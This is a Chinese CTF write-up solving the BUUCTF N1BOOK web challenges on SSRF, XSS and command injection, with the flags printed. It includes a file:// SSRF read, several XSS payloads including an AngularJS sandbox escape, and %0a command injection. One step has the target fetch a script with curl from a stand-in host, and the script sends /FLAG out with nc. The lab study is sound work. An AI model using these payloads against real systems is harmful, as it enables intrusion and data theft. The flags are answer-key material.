【BUUCTF N1BOOK】[第二章 web进阶] 通关

 博主介绍

‍ 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

[第二章 web进阶]SSRF Training

[第二章 web进阶]XSS闯关

[第二章 web进阶]文件上传


前言

N1BOOKNu1L Team为方便读者打造的免费平台,读者可在上面享受书籍相关资源以及查阅勘误。

[第二章 web进阶]SSRF Training

n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

打开环境,最值得关注的就是下面两个地方,一个是代码审计的,还有一个是提示flag是flag.php文件里面

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第1张图片

intersting challenge代码审计

1、check_inner_ip($url) 函数用于检查输入的URL是否为内网IP地址,首先使用正则表达式匹配URL格式,然后解析URL获取主机名,再通过 gethostbyname 函数获取主机名对应的IP地址,最后使用 ip2long 函数将IP地址转换为整数进行比较,判断是否为内网IP地址。如果是内网IP地址,则直接打印该URL为内网IP地址;否则,调用 safe_request_url($url) 函数进行安全的URL请求和处理。

2、safe_request_url($url) 函数中首先调用 check_inner_ip($url) 函数进行检查,如果URL为内网IP地址,则直接打印该URL为内网IP地址;否则,通过 cURL 发起请求,获取URL的内容。同时,也会检查返回的 HTTP 头中是否包含重定向地址,如果有重定向则递归调用 safe_request_url($url) 函数去处理重定向地址。

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第2张图片

我这里尝试利用file读取flag.php,猜测网站根路径是/var/www/html

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第3张图片

右击查看源代码,发现flag了

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第4张图片

[第二章 web进阶]XSS闯关

n1book{xss_is_so_interesting}

题目提示我们利用alert函数进行闯关

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第5张图片

level1,用简单的xss反弹语句就可以成功

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第6张图片

level2,查看源代码,

我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:

?username=';alert(1);//

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第7张图片

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第8张图片

level3

发现一个单引号被转义了,那么我们可以尝试利用两个单引号进行过滤

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第9张图片

?username='';alert(1);//

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第10张图片

level4

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第11张图片

查看源代码:

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第12张图片

伪链接

javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url

/level4?jumpUrl=javascript:alert(1)

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第13张图片

level5

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第14张图片

限制1

getQueryVariable('autosubmit') !== false

解决限制1,给autosubm传个值
autosubmit=1

限制2

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');


解决限制2,同样是传值,只不过是传我们的注入语句
完整payload

/level5?autosubmit=1&action=javascript:alert(1)

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第15张图片

level6

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第16张图片

这道题目其实知道是第七关的flag

可以直接把level1改成level7,然后直接利用,就可以拿到flag,因为第七关没有任何的过滤

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第17张图片

[第二章 web进阶]文件上传

n1book{6fa82809179d7f19c67259aa285a7729}

通过简单的ping命令测试,发现有很多的过滤,所以先利用fuzz.txt字典进行测试下有哪些过滤

利用burp,测试得到以下被过滤了:

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第18张图片

通过%0a能够注入新的一条命令进行执行

ip=127.0.0.1%0als

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第19张图片

用小号在BUU上开一个内网的主机

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第20张图片

编写1.sh,内容如下:

ls
cat /FLAG | nc your_buu_ip 8089

把他复制到网站根目录
在靶机上用curl下载

127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh   #请求bash文件到tmp目录

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第21张图片

nc -lvp 8089  #your_buu_ip的机器上进行监听8089端口

127.0.0.1%0ash /tmp/1.sh #执行bash文件

【BUUCTF N1BOOK】[第二章 web进阶] 通关_第22张图片

n1book{6fa82809179d7f19c67259aa285a7729}

你可能感兴趣的:(web,CTF夺旗赛,前端,javascript,开发语言,BUUCTF,CTF,网络安全)